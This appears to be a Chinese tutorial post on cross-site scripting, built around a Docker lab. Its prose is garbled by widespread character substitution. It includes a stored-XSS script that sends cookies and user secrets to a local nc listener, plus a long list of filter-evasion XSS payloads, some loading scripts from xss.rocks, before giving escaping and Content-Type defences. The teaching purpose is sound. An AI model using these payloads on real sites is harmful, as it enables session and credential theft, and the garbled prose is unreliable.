乐趣区

关于javascript:XSS-攻防实践

本认为 Web 技术倒退那么久,XSS、SQL 注入、CSRF 这类过来常见的破绽曾经被解决得很好
了。最近工作发现并不是这样的,可能就是因为框架和工具把这些事件做得很好了,大家都
遗记了这些破绽的存在,及时应用了框架也没有把它们提供的破绽预防性能应用起来。我觉
得即便是明天,理解常见的安全漏洞类型也是必要的。

原文地址

本文从实际登程,一步步帮忙开发者理解 XSS 破绽的原理、细节、以及简略的攻防办法。
实际对于没有接触过 XSS 或者不相熟 Web 开发的敌人来说会难一些,如果感觉比拟难,可
以间接查看下一步提醒。如果感觉这个实际工作切实没方法了解,也没有关系,因为作为开
发者的要求并不是熟练掌握它,只是晓得如何防止即可,甚至仅仅晓得有这么一种破绽,使
用框架的哪种性能就能够防止也是足够的。在公司层面落实平安开发过程中,也常常遇到开
发无奈了解破绽原理的状况,通常也不强求开发有这样的常识,而是设置平安测试岗位来验
证,开发只须要依照倡议批改即可。当然了,如果大家都晓得有这么一个事件,就能节俭很
多测试批改的工夫,也是有益处的。

曾有没加入过 Web 开发的人问 XSS 攻打有什么危害。浏览器关上网页时能够执行网页中的
一些代码,通常是 Javascript,这些代码能够管制页面提交申请。攻击者通过结构一个
XSS 攻打脚本,就能够在被攻打页面做任何用户能够做的事件,包含退出购物车、提交评论、
批改分数、获取隐衷数据等。攻击者还能够通过 XSS 偷走你的 cookie,这样他就会在短时
间内领有你的账号。XSS 攻打不光影响到领有这些破绽的网站,当用户关上这些被攻打的
网站,或者钓鱼网站,他们就可能从中点击拜访到那些没有 XSS 破绽的网站并发动申请,
从而实现攻打。

实际工作形容

前提条件是你领有一个 Linux 环境并装置好了 Docker,随后依照下列步骤进入实际工作。

  1. 下载 Github 我的项目:

    • https://github.com/zltl/secur…
  2. 运行 001-xss 工作

    cd security-tutorial
    cd 001-xss
    make docker
    make run

  3. 浏览器关上 http://localhost:8080,如果你应用虚拟机,想要从其余电脑拜访,须要
    把 localhost 改成虚拟机 IP 地址,并确认防火墙凋谢。
  4. 关上的网页为每个用户生成 ID 和 Secret,想方法获取其余用户的这些信息以及 cookie。

工作提醒 1

页面有输入框,提交之后输出会显示在页面上,所有用户都能看到。如果输出一段代码,能
能不能执行呢。尝试一下输出:

Test xss and print cookie, user id,user secret on console.
<script type="text/javascript">
console.log(document.cookie);
console.log(document.getElementById('user_id').innerText);
console.log(document.getElementById('user_secret').innerText);
</script>

工作提醒 2

应用不同的浏览器关上,就是不同的用户。

要开一个服务器来收集这些信息,这里应用 nc 演示。

while true; do echo -e "HTTP/1.1 200 OK\nContent-Length: 0\n\n" | nc -l -p 8888; done

这里开启了 8888 端口作为 HTTP 服务器,任何申请内容都会打印到屏幕上。为了不便这里
应用同一个 Linux 服务器。

Javascript 代码间接调用必定是不行的,因为有 CORS 爱护,域名不同就调用不了。然而
图片的链接是能够跨域名的,iframe 也是能够的。应用 img 标签调用 GET 申请:

Test xss and send cookie, user id,user secret to http://localhost:8888.

<div id="xss_helper"></div>
<script type="text/javascript">
let myurl = "http://localhost:8888?" +document.cookie+"&id="+document.getElementById('user_id').innerText + "&secret="+document.getElementById('user_secret').innerText;
let dc = document.getElementById("xss_helper");
dc.innerHTML = '<img src="' + myurl + '">";
</script>

XSS 的攻防原理

跨站脚本 (Cross-Site Scripting, XSS) 攻打的一种设法将本应是数据作为前端
Javascript 代码执行的攻打伎俩。

它的进攻原理也很简略:不执行不受信赖的输出源产生的数据代码。

XSS 攻打的分类

XSS 攻打分为两类:存储型 (Stored XSS Attacks),反射型(Reflected XSS Attacks)。
其实还有第三类,晓得的人少一些:基于 DOM 的 (DOM Based XSS)。前两种比拟风行,最
后一种晓得的人少一些。平时跟人聊我都说是两类,没必要跟他人争,而且这些分类对攻打
者而言比拟重要,能够给他们攻打思路,对咱们开发来说意义比拟小,因为防备形式差不多。

存储型 XSS 攻打

注入的脚本本保留到服务器里,个别是数据库里,它可能是个探讨、文章、拜访日志、评论
等。受害者关上网页,服务器给受害者返回蕴含这个脚本的页面,浏览器执行这个脚本。这
就是一个残缺的存储型 XSS 攻打流程。下面实际工作种的攻打就属于存储型 XSS 攻打。

受害者能够是其余与攻击者雷同权限的用户,这总状况下攻击者能够重复尝试并关上页面验
证本人的攻打脚本是否失效。受害者能够是系统管理员或其它攻击者无奈领有的权限的用户,
这种状况下,攻击者没方法关上受攻打页面进行验证,黑客们把这种攻打叫做 ” 盲 XSS”
(Blind Cross-site Scripting)。盲 XSS 通常利用反馈意见、日志零碎等进行 XSS 脚本注
入,当管理员或者后盾用户关上蕴含攻击者脚本的页面浏览器会执行这些脚本。盲 XSS 攻
击很难,以至黑客们给它起了个名字,我感觉这应该纳入存储型 XSS 攻打。

反射型 XSS 攻打

攻击者给受害者一个蕴含脚本的链接、按钮、甚至仅吸引用户拜访一个精心设计的攻打网
站,受害者点击或拜访后,服务器返回的页面也蕴含这个脚本。服务器返回的蕴含脚本的内
容可能是一个错误信息、一个搜寻后果、404 页面、或者任何其它蕴含申请参数的中央。

基于 DOM 的 XSS 攻打

有些网址种的内容并没有通过服务器,而是由浏览器间接获取退出到页面内容中,例如上面
这个申请:

http://www.some.site/page.html#q=<script>alert(document.cookie)</script>

脚本在 URI fragment 外面,这部分不会发给服务器,而是只在页面能够拜访到。如果页面
中的逻辑间接不加验证地应用了这部分内容,例如:

...
document.write(decodeURIComponent(document.location.href.substring(document.location.href.indexOf("q=")+2)));
...

这种状况西下面申请中地代码就会呈现在网页中。因为代码没有保留到服务器,所以不是存
储型的,也没有由服务器返回,也不是反射型的。

具体内容能够浏览 Amit Klein 对于 DOM Base XSS 的文章。

XSS 破绽的测试

通过测试或者代码审查的形式判断以后零碎是否存在 XSS 破绽,测试验证的形式广泛一些。
上面的测试列表列举了罕用的攻打脚本内容。也能够自行搜寻 “xss polyglot”。这些内容
可能用在 HTML 标签、script 标签、属性或 URL 中。网上会有很多相似内容,大多都是为
了跳过 WAF 的,原理相似,无非就是应用不熟知的个性,本义,特殊字符等。

<script>…</script> 标签

间接输出这个标签,其中蕴含代码,例如:

<script type="text/javascript">
console.log(document.cookie);
</script>

或者间接嵌入测试脚本文件:

<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>

HTML 标签属性

例如 onloadonmouseoveronerror :

<b onmouseover=alert('ops!')>Click me!</b>

<img src="x" onerror=alert("ops!");>

URL Encode 格局

有些 WAF (Web Application Filter) 会验证输出申请,并拦挡。这时能够实用编码后的格
式:

<IMG SRC=j&#X41vascript:alert('ops!')>

Base64

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnb3BzJyk8L3NjcmlwdD4K">

img 标签

<IMG SRC="javascript:alert('XSS');">

<IMG SRC=javascript:alert('XSS')>

<IMG SRC=JaVaScRiPt:alert('XSS')>

<IMG SRC=javascript:alert(&quot;XSS&quot;)>

<IMG SRC=`javascript:alert("RSnake says,'XSS'")`>

毁坏标签

\<a onmouseover="alert(document.cookie)"\>xxs link\</a\>

\<a onmouseover=alert(document.cookie)\>xxs link\</a\>

<IMG """><SCRIPT>alert("XSS")</SCRIPT>"\>

fromCharCode

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

各种编码本义

<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

插入特殊字符

<IMG SRC="jav ascript:alert('XSS');">

<IMG SRC="jav&#x09;ascript:alert('XSS');">

<IMG SRC="jav&#x0A;ascript:alert('XSS');">

<IMG SRC="jav&#x0D;ascript:alert('XSS');">

perl -e 'print"<IMG SRC=java\0script:alert(\"XSS\")>";' > out

<IMG SRC="&#14; javascript:alert('XSS');">

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>

<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>

<<SCRIPT>alert("XSS");//\<</SCRIPT>

¼script¾alert(¢XSS¢)¼/script¾

不闭合的标签

<SCRIPT SRC=http://xss.rocks/xss.js?< B >

<SCRIPT SRC=//xss.rocks/.j>

<IMG SRC="('XSS')"

<iframe src=http://xss.rocks/scriptlet.html <

本义

<SCRIPT>var a="\\\\";alert('XSS');//";</SCRIPT>

不熟知的属性

<IMG LOWSRC="javascript:alert('XSS')">

<IMG DYNSRC="javascript:alert('XSS')">

<BODY BACKGROUND="javascript:alert('XSS')">

<BGSOUND SRC="javascript:alert('XSS');">

<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

<XSS STYLE="xss:expression(alert('XSS'))">

ECMA 6

Set.constructor`alert\x28document.domain\x29

& javascript

<BR SIZE="&{alert('XSS')}">

款式注入

<STYLE>@import'http://xss.rocks/xss.css';</STYLE>

<STYLE>@import'http://xss.rocks/xss.css';</STYLE>

<META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet">

<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

<STYLE TYPE="text/javascript">alert('XSS');</STYLE>

<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>

<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> <STYLE type="text/css">BODY{background:url("<javascript:alert>('XSS')")}</STYLE>

<XSS STYLE="behavior: url(xss.htc);">

防止 XSS 破绽

大多数 web 框架提供 XSS 破绽的防止办法,大多应用输入本义。简略地说,就是把不信赖
的内容进行 HTML 本义后,再拼接到页面里,本义后的代码不会被执行,而是再浏览器端作
为内容展现。golang 提供 htmlhtml/template 包,PHP 各框架也提供各自的转
义函数,函数名大略都蕴含 “HTML”、”Encode”,放在 URL 中的内容个别蕴含 “URLEncode”
字样。

因为 DOM Based XSS 的存在,不光要在服务器做本义,如果要应用网址内容的话,在浏览
器端也要对网址内容本义。

还有一点须要留神,必须明确在 HTML 返回头部设置 Content-Type。上面的例子尽管返
回的是 json,但其中的代码浏览器仍然会执行:

HTTP/1.1 200
Content-Type: text/html; charset=utf-8 <-- bad
....

{"Message":"No HTTP resource was found that matches the request URI'dev.net.ie/api/pay/.html?HouseNumber=9&AddressLine=The+Gardens<script>alert(1)</script>&AddressLine2=foxlodge+woods&TownName=Meath'.","MessageDetail":"No type was found
that matches the controller named 'pay'."}

这里应该设置 Content-Type: application/json; charset=utf-8

如果应用了框架,最好在网上或者在框架文档内搜寻 XSS 预防相干的内容,大多都会有比
较成熟简便的办法。

退出移动版